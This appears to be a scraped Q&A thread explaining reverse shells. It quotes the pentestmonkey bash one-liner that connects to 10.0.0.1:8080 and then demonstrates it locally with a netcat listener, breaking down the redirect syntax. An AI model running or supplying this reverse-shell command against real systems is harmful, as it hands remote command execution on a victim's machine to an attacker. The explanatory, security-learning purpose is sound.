Menu
Could someone explain in deep what is reverse shell about and in what cases are we supposed to use it? I found this http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet regarding the same, what is the meaning of:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 
986
Reverse shells allow attackers to bypass network security mechanisms like firewalls. Attackers can achieve reverse shell capabilities via phishing emails or malicious websites. If the victim installs the malware on a local workstation, it initiates an outgoing connection to the attacker's command server.
Reverse shell is a kind of “virtual” shell that is initiated from a victim's computer to connect with attacker's computer. Once the connection is established, it allows attacker to send over commands to execute on the victim's computer and to get results back.
How Does a Reverse Shell Works? Firewalls protect the victim's network from incoming connections, so its presence discourages bind shell sessions. Instead of directly requesting a shell session, an attacker waits for a victim's machine to initiate an outgoing connection—hence, it is called a “reverse” shell.
What is a Reverse Shell? Oppose to a Bind Shell, a Reverse Shell connects back to the attacker's computer upon a payload executed on the victim's system. This type of shell is more useful when the target organization has a strong Firewalls for inbound connection.
It's a(n insecure) remote shell introduced by the target. That's the opposite of a "normal" remote shell, that is introduced by the source.
Let's try it with localhost instead of 10.0.0.1:
Open two tabs in your terminal.
open TCP port 8080 and wait for a connection:
nc localhost -lp 8080
Open an interactive shell, and redirect the IO streams to a TCP socket:
bash -i >& /dev/tcp/localhost/8080 0>&1
where
bash -i "If the -i option is present, the shell is interactive.">& "This special syntax redirects both, stdout and stderr to the specified target.">&) /dev/tcp/localhost/8080 is a TCP client connection to localhost:8080.0>&1 redirect file descriptor 0 (stdin) to fd 1 (stdout), hence the opened TCP socket is used to read input.Cf. http://wiki.bash-hackers.org/syntax/redirection
localhost, but some remote IP.
94
If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!
Donate Us With
